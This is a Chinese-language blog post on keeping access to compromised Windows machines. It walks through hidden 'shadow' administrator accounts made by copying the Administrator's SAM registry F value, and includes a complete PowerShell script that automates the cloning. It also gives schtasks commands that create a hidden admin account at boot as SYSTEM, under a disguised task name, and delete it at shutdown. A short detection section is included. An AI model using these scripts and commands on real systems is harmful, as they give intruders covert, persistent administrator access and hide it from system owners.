HackPluto's Blog

windows后渗透维权

字数统计: 5.6k阅读时长: 23 min
2019/09/01 Share

背景

这篇博客主要介绍对于Windows机器渗透后维持权限的过程,这篇博客是建立在已经getshell的情况下,具体怎么getshell和渗透我在这里不介绍。在拿到域控之后我们有许多手段来维持自己的权限,然而我们不能保证一直对这个服务器保持着root权限,如果服务器管理员补了洞或者发现了入侵者,通常我们就失去了对服务器的控制,所以我主要介绍与建立隐藏账户有关的几种方法。建立影子账户是一种十分有效的方法,隐蔽性强。

win7下通过修改注册表建立隐藏账户

功能实现

通常建立的账户可以在nei user命令下看到,所以第一步就是在账户名后面加$可以达到命令行下不显示的目的。

但是这种方法不够隐蔽,在控制面板里同样可以看到这个账户

这里就要引入修改注册表的方法,注册表是Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Microsoft Windows 95操作系统开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今。

这里我先将方法再介绍原理

1、对注册表赋予权限

默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改
现在需要为其添加管理员权限
右键-权限-选中Administrators,允许完全控制

2、导出注册表

在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户test获取默认类型为0x3ea将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg
在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA

3.修改注册表内容

默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
同样,右键将该键导出为3.reg
将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值,右键编辑即可修改数据。

4.命令行删除账户

net user test$ /del

现在我们就发现不管是在命令行下还是控制面板里都找不到这个隐藏账户了。


5.导入reg文件

regedit /s 1.reg
regedit /s 2.reg

同时在登陆界面也看不见这个账户了

6.远程登陆

第一步要保证这台机器允许远程登陆,这里是win7系统,所以在控制面板,系统安全里找到远程登陆,点击允许所有用户远程登陆,这就相当于开启了3389端口

接下来是查看IP地址

我使用win10去连接win7,在win10中打开远程桌面,输入win7IP地址以及账户名,再输入密码就可以远程登陆。

原理

那么我们为什么需要修改那一个注册表项的内容呢,我在网上查了下这方面的资料,很可惜微软官方并没有非常完整的对注册表的内容做一个详解,只能依靠谷歌看看前人的研究结果。

注册表 SAM

大家都知道以Windows NT为内核的操作系统,它的注册表保存位置在system32\config目录内,其中与用户和组有关的内容是保存在SAM文件当中.当Windows系统启动后,为了后面对用户和组进行比较方便的访问,就把SAM文件内关于用户和组的部分(不是全部的)内容映射在注册表内两个地方:”HKEY_LOCAL_MACHINE\SAM\SAM”和”HKEY_LOCAL_MACHINE\SECURITY\SAM”.这两处的内容是完全一样的.
由于以上两处的内容是完全一样,所以我在这里仅以”HKEY_LOCAL_MACHINE\SAM\SAM”做说明.

HKEY_LOCAL_MACHINE\SAM\SAM

在”HKEY_LOCAL_MACHINE\SAM\SAM”下的”RXACT”项目只有一个默认值,内容不详.
在”HKEY_LOCAL_MACHINE\SAM\SAM\Domains”下有二个项目:”Account”、”Builtin”.前者包含系统下所有的用户和由用户创建的组.而后者包含系统所有本身的组.

“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin”下有三个项目:”Aliases”、”Groups”、”Users”
其中Groups和Users没有什么实质性的内容,可以不用去管它.
在Aliases下我们可以看到很多的注册表项目,我主要它们分为三类:
1)Members这个项目的真正意义我也不是很清楚,只能大概的设想一下.
在这个项目下有两个子项:S-1-5和S-1-5-21-**-**-*
1.S-1-5目前还不是很清楚内容具体是什么,S-1-5-21-**-**-*其中”*”部分为对应的数字,对于这个数字来说,每一台计算机都是不一样的,除GOSHT安装版、网络同传外.这一长串的数字因该是指这台计算机的维一的GUID(全球维一标识符)号码.
在这个项目之下的子项是在这台计算机中所有有本地登录权限的用户账户(只是个映射).

在上面我已说过,这里的内容是在这台计算机中所有有本地登录权限的用户账户,现在我来说明一下每个用户的默认值的意思.
首先是它的数据,每个用户的默认值的数据都是一个特殊符号,这些符号的意思是什么,特别说明一下这些特殊符号都是Unicode格式,在ASCII格式的文本文件中是不能显示出来的,或显示出来的是乱码.如果大家把这编文章COPY下,并放在计事本中保存,那么记得在保存时,选择编码为”Unicode”就可以了。
经我发现这些符号指的是某个用户的主要权限.那什么又是主要权限呢???
比方说,一个用户在多个组中,如:Administrator,Users.那这个用户的权限是什么呢,大家一定会说这个用户在管理员.没有错,所以这个特殊符号指的就是这个.我们可以做个试验,添加一个用户,把它放在任何多个组中,其中要有Administrator,那么这个用户在这里的默认值数据就为”Ƞ”,和”000001F4”一样(当然如果用户只属于Administrator组,结果也是一样了).下面我列出一些组与特殊符号的关系:

Administrators(“Ƞ”)
Backup Operators(“ȧ”)
Distributed COM Users(“Ȳ”)
Guests(“Ȣ”)
Network Configuration Operators(“Ȭ”)
Performance Log Users(“ȯ”)
Performance Monitor Users(“Ȯ”)
Power Users(“ȣ”)
Print Operators(“Ȧ”)
Remote Desktop Users(“ȫ”)
Replicator(“Ȩ”)
Users(“ȡ”)
Debugger Users(“无本地登录权限”)
HelpServicesGroup(“无本地登录权限”)
IIS_WPG(“无本地登录权限”)
TelnetClients(“无本地登录权限”)

打开HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin\Aliases时,就已经看到了一些像”00000220”、”0000022B”都是由数字和6个英文字母”A、B、C、D、E、F”组成的注册表项目.这些注册表项目的名称也都是用十六进制表示的,只是没有用”0x”开头而已.
看一下右边的内容,这些项目就是前面我所说的组的映射目标,也就是说Windows操作系统自身的所有组的内容都在这里面.
现在让我们打开00000220项目,我们可以看到这个项目下有两个健值.其中有一个名称为”C”,数据类型为”REG_BINARY(二进制)”的健值,双击打开”C”的编辑窗口.
首先看第一行”20 02 00 00 00 00 00 00”,这里是小端序存储,我们现在也把这行的内容反过来排列一下”0000000000000220”,然后把前面的8个”0”去掉就成的”00000220”,和这个项目名称刚好对上。
接下来我们再把编辑窗口拉到最下,在右边的ASCII码中我们可以明显的看到有”Administrators”的存在.没错,这就是组的名称.也就是在”计算机管理”里面显示的组名.在”Administrators”下面还可以看到一些乱码,这些就是该组的描述.不过有一个现像,如果组的描述是由字母、数字、字符组成,那么就可以在这里看到.如果有中文,就没有办法看到中文.不但如此,连ASCII码都和原来的中文ASCII码不一样,不知是Microsoft加密了,还是用了Unicode码,或是其他的编码.

在最后面,有一段内容是这里面的重点.”01 05 00 00 00 00 00 05 15 00 00 00 AA A7 AC DB 7B B7 81 52 D2 F3 2A 30”.重点其实是在这个数据串的后面”F4 01 00 00”,这就是重点中的重点呀,这是什么,这就是”Administrator”(如果你只有一个用户在管理员组的话,如果有多个用户在管理员组就向上找).我为什么看到”F4 01 00 00”就认为是”Administrator”呢,想知道就继续向下发展(不要急).
大家可能会有一个疑问,既然后面才是重点为什么要写出前面的一串数据呢,其时这是有必要的,为什么?这还用我说吗,难道你的计算机只有一个管理员吗?这么一长串的数据其实就是该组下每个用户的分隔符.

在”HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account”同样也有三个项目:”Aliases”、”Groups”、”Users”
其中Groups的内容目前还不是很清楚。

在Aliases下我仍然把所有内容分为三类:
1)Members这个项目的真正意义我也不是很清楚,只能大概的设想一下.
在这个项目下有两个子项:S-1-5和S-1-5-21-**-**-*
1.S-1-5子项我也看不太懂,因为它的内容太下了,也没有什么联系.
2.S-1-5-21-**-**-*其中”*”部分为对应的数字,这个数字每一台计算机是不样了,除GOSHT安装版、网络同传外.这一长串的数字因该是指这台计算机的维一的GUID(全球维一标识符)号码.
在这个项目之下的子项是在这台计算机中系统自身的用户账户(也只是个映射).如Administrator(000001F4)、Guest(000001F5)、IWAM_GEXING(000003ED)、SUPPORT_388945a0(000003E9)
2)Names这里面的内容是非Windows系统的一些用户组的名称,这些组是在安装好Windows系统后,再通过安装软件、服务或是用户手动添加的组.该项目内的结构和”HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin”下的Names是一样的,大家可以参考一下该处的内容.
3)关于这个类别也没有好说的,大家一样可以参考一下”HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin”下的内容,结构也是大致一样了.

下面我接着来说明一下”HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users”里的内容.
在Users下只有二个类别:
1)Names这里面是Windows系统中的所有用户名(也只是个映射),不管是系统自身的,还是后面添加的都可以在这里找到.但其真实的内容还是在第二个类别里.
2)这个分类里的内容也没有说的,大致和上面的差不多,只是用户的详细内容是在”V”键值下.而别外的一个”F”键值就实在有点难懂.
有一点,在用户的键值”V”中的开头部分,已经找不到该项目的名称了.
另外在”V”键值内,中间的一部分乱码内容是用户的一些属性设置.

脚本实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
function Create-Clone
{
<#
.SYNOPSIS
This script requires Administrator privileges. use Invoke-TokenManipulation.ps1 to get system privileges and create the clone user.
.PARAMETER u
The clone username
.PARAMETER p
The clone user's password
.PARAMETER cu
The user to clone, default administrator
.EXAMPLE
Create-Clone -u evi1cg -p evi1cg123 -cu administrator
#>
Param(
[Parameter(Mandatory=$true)]
[String]
$u,

[Parameter(Mandatory=$true)]
[String]
$p,

[Parameter(Mandatory=$false)]
[String]
$cu = "administrator"
)
function upReg{
"HKEY_LOCAL_MACHINE\SAM [1 17]" | Out-File $env:temp\up.ini
"HKEY_LOCAL_MACHINE\SAM\SAM [1 17]"| Out-File -Append $env:temp\up.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]" | Out-File -Append $env:temp\up.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17] "| Out-File -Append $env:temp\up.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17] "| Out-File -Append $env:temp\up.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]"| Out-File -Append $env:temp\up.ini
cmd /c "regini $env:temp\up.ini"
Remove-Item $env:temp\up.ini

}
function downreg {
"HKEY_LOCAL_MACHINE\SAM [1 17]" | Out-File $env:temp\down.ini
"HKEY_LOCAL_MACHINE\SAM\SAM [17]"| Out-File -Append $env:temp\down.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains [17]" | Out-File -Append $env:temp\down.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [17] "| Out-File -Append $env:temp\down.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [17] "| Out-File -Append $env:temp\down.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [17]"| Out-File -Append $env:temp\down.ini
cmd /c "regini $env:temp\down.ini"
Remove-Item $env:temp\down.ini
}
function Create-user ([string]$Username,[string]$Password) {
$group = "Administrators"
$existing = Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$Username"
if (!$existing) {
Write-Host "[*] Creating new local user $Username with password $Password"
& NET USER $Username $Password /add /y /expires:never | Out-Null
Write-Host "[*] Adding local user $Username to $group."
& NET LOCALGROUP $group $Username /add | Out-Null

}
else {
Write-Host "[*] Adding existing user $Username to $group."
& NET LOCALGROUP $group $Username /add | Out-Null
$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
$exist = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }
Write-Host "[*] Setting password for existing local user $Username"
$exist.SetPassword($Password)
}

Write-Host "[*] Ensuring password for $Username never expires."
& WMIC USERACCOUNT WHERE "Name='$Username'" SET PasswordExpires=FALSE | Out-Null
}
function GetUser-Key([string]$user)
{
cmd /c " echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user [1 17] >> $env:temp\$user.ini"
cmd /c "regini $env:temp\$user.ini"
Remove-Item $env:temp\$user.ini
if(Test-Path -Path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$user"){
cmd /c "regedit /e $env:temp\$user.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user""
$file = Get-Content "$env:temp\$user.reg" | Out-String
$pattern="@=hex\((.*?)\)\:"
$file -match $pattern |Out-Null
$key = "00000"+$matches[1]
Write-Host "[!]"$key
return $key
}else {
Write-Host "[-] SomeThing Wrong !"
}

}
function Clone ([string]$ukey,[string]$cukey) {
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey [1 17] "| Out-File $env:temp\f.ini
"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$cukey [1 17] " | Out-File $env:temp\f.ini
cmd /c " regini $env:temp\f.ini"
Remove-Item $env:temp\f.ini
$ureg = "HKLM:\SAM\SAM\Domains\Account\Users\$ukey" |Out-String
$cureg = "HKLM:\SAM\SAM\Domains\Account\Users\$cukey" |Out-String
Write-Host "[*] Get clone user'F value"
$cuFreg = Get-Item -Path $cureg.Trim()
$cuFvalue = $cuFreg.GetValue('F')
Write-Host "[*] Change user'F value"
Set-ItemProperty -path $ureg.Trim() -Name "F" -value $cuFvalue
$outreg = "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey"
cmd /c "regedit /e $env:temp\out.reg $outreg.Trim()"
}
function Main () {
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
Write-Output "Script must be run as administrator"
break
}
Write-Output "[*] Start"
Write-Output "[*] Tring to change reg privilege !"
upReg
if( !(Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$cu")){
Write-Host "[-] The User to Clone does not exist !"
Write-Output "[*] Change reg privilege back !"
downReg
Write-Output "[*] Exiting !"
}
else {
if(!(Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$u")){
$tmp = "1"
}
else{
$tmp = "0"
}
Write-Output "[*] Create User..."
Create-user $u $p
Write-Output "[*] Get User $u's Key .."
$ukey = GetUser-Key $u |Out-String
Write-Output "[*] Get User $cu's Key .."
$cukey = GetUser-Key $cu |Out-String
Write-Output "[*] Clone User.."
Clone $ukey $cukey
if($tmp -eq 1 ){
Write-Output "[*] Delete User.."
cmd /c "net User $u /del " |Out-Null
}else{ Write-Output "[*] Don't need to delete.."}
cmd /c "regedit /s $env:temp\$u.reg"
cmd /c "regedit /s $env:temp\out.reg"
Remove-Item $env:temp\*.reg
Write-Output "[*] Change reg privilege back !"
downreg
Write-Output "[*] Done"
}
}
Main
}

防护方法

针对隐藏帐户的利用,查看注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\即可
当然,默认管理员权限无法查看,需要分配权限或是提升至Sytem权限
隐藏帐户的登录记录,可通过查看日志获取

Win7下通过事件触发隐藏账户

利用计划任务触发恶意代码在win xp时代就已有应用。在winxp时代,计划任务利用“at”命令实现对某个已植入木马的定时启动。但是,这种方法并不常用,主要原因有下:
(1) 在winxp中,计划任务通常为很少或空(即没有),因此新增项在计划任务列表中很明显。
(2) winxp下的计划任务执行的多为已经植入的木马,或者已有的命令行(如net user /add新加用户之类),没有远程下载等功能;
(3) winxp下的计划任务常用时间触发,其命令行为:at time process 格式,触发方式比较单一。
到了win 7之后,at命令功能逐步被schtasks命令代替(虽然win7中还保留了at命令行),到了win 10以后,at命令行彻底被schtasks代替。
schtasks代替at主要体现在其功能更加丰富,优点如下:
(1) 触发机制多样化:如通过时间、时长、日志事件)等
(2) 默认的计划任务很多(如下图本机win10),例如windows更新、Adobe等 软件的更新等 ,这使得如果木马可以很好将自身的计划任务淹没在其中。

如果我们将创建隐藏账户设置为开机为自动执行,删除账户设置为关机自动执行,那么用户在登陆的时候就看不到我们设置的隐藏账户了。

Win7设置计划任务

控制面板-计划任务可以打开计划任务窗口,看到目前的计划任务项。
命令行使用taskschd.msc打开该窗口。
命令行下也可使用schtasks 命令对计划任务进行添加查看等操作。

schtasks命令详解

1
SCHTASKS /Create [/S system [/U username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime][/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

描述:
允许管理员在本地或远程系统上创建计划任务。

参数列表:
/S system 指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。

/U   username      指定应在其中执行 SchTasks.exe 的用户上下文。

/P   [password]    指定给定用户上下文的密码。如果省略则提示输入。

/RU  username      指定任务在其下运行的“运行方式”用户帐户(用户上下文)。
                   对于系统帐户,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。
                   对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
                   "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID。对这三个也都可用。

/RP  [password]    指定“运行方式”用户的密码。要提示输入密码,值必须是 "*" 或无。
                   系统帐户会忽略该密码。必须和 /RU 或 /XML 开关一起使用。

/RU/XML  /SC  schedule     指定计划频率。
                   有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、
                   MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

/MO   modifier     改进计划类型以允许更好地控制计划重复
                   周期。有效值列于下面“修改者”部分中。

/D    days         指定该周内运行任务的日期。有效值:
                   MON、TUE、WED、THU、FRI、SAT、SUN
                   和对 MONTHLY 计划的 1 - 31
                   (某月中的日期)。通配符“*”指定所有日期。

/M    months       指定一年内的某月。默认是该月的第一天。
                   有效值: JAN、FEB、MAR、APR、MAY、JUN、
                   JUL、 AUG、SEP、OCT、NOV  和 DEC。通配符
                   “*” 指定所有的月。

/I    idletime     指定运行一个已计划的 ONIDLE 任务之前
                   要等待的空闲时间。
                   有效值范围: 1 到 999 分钟。

/TN   taskname     指定唯一识别这个计划任务的名称。

/TR   taskrun      指定在这个计划时间运行的程序的路径
                   和文件名。
                   例如: C:\windows\system32\calc.exe

/ST   starttime    指定运行任务的开始时间。
                   时间格式为 HH:mm (24 小时时间),例如 14:30 表示
                   2:30 PM。如果未指定 /ST,则默认值为
                   当前时间。/SC ONCE 必需有此选项。

/RI   interval     用分钟指定重复间隔。这不适用于
                   计划类型: MINUTE、HOURLY、
                   ONSTART, ONLOGON, ONIDLE, ONEVENT.
                   有效范围: 1 - 599940 分钟。
                   如果已指定 /ET 或 /DU,则其默认值为
                   10 分钟。

/ET   endtime      指定运行任务的结束时间。
                   时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。
                   这不适用于计划类型: ONSTART、
                   ONLOGON, ONIDLE, ONEVENT.

/DU   duration     指定运行任务的持续时间。
                   时间格式为 HH:mm。这不适用于 /ET 和
                   计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
                   对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
                   1 小时。

/K                 在结束时间或持续时间终止任务。
                   这不适用于计划类型: ONSTART、
                   ONLOGON, ONIDLE, ONEVENT.
                   必须指定 /ET 或 /DU。

/SD   startdate    指定运行任务的第一个日期。
                   格式为 yyyy/mm/dd。默认值为
                   当前日期。这不适用于计划类型: ONCE、
                   ONSTART, ONLOGON, ONIDLE, ONEVENT.

/ED   enddate      指定此任务运行的最后一天的日期。
                   格式是 yyyy/mm/dd。这不适用于计划类型:
                    ONCE、ONSTART、ONLOGON、ONIDLE。

/EC   ChannelName  为 OnEvent 触发器指定事件通道。

/IT                仅有在 /RU 用户当前已登录且
                   作业正在运行时才可以交互式运行任务。
                   此任务只有在用户已登录的情况下才运行。

/NP                不储存任何密码。任务以给定用户的身份
                   非交互的方式运行。只有本地资源可用。

/Z                 标记在最终运行完任务后删除任务。

/XML  xmlfile      从文件的指定任务 XML 中创建任务。
                   可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
                   主体时单独使用 /RP。

/V1                创建 Vista 以前的平台可以看见的任务。
                   不兼容 /XML。

/F                 如果指定的任务已经存在,则强制创建
                   任务并抑制警告。

/RL   level        为作业设置运行级别。有效值为
                   LIMITED 和 HIGHEST。默认值为 LIMITED。

/DELAY delaytime   指定触发触发器后延迟任务运行的
                   等待时间。时间格式为
                   mmmm:ss。此选项仅对计划类型
                   ONSTART, ONLOGON, ONEVENT.

/?                 显示帮助消息。

设置开机创建账户

1
schtasks /create /tn "Microsoft\Windows\LocalEventLog" /tr "\"cmd.exe\" /k net user test$ 123456 /add /y /active:yes >> nul & net localgroup administrators test$ /add > nul & net user test$ /comment:\"Built-in account for Backdooring your network suckers\" > nul & exit" /f /ru system /sc onstart

关机删除账户

1
schtasks /create /tn "Microsoft\Windows\LocalEventLog" /tr "\"cmd.exe\" /k net user test$ /del > nul & exit" /f /ru system /sc onevent /ec System /mo "*[System[EventID=1074]]"

启动事件

重新开机发现隐藏账户已经建立,但是只有在控制面板和注册表才能发现,而一般人没人点进来看

开机界面不显示隐藏账户,建立成功

为了可以快速启动,将命令写成一个bat脚本













CATALOG
  1. 1. 背景
  2. 2. win7下通过修改注册表建立隐藏账户
    1. 2.1. 功能实现
    2. 2.2. 原理
    3. 2.3. 脚本实现
    4. 2.4. 防护方法
  3. 3. Win7下通过事件触发隐藏账户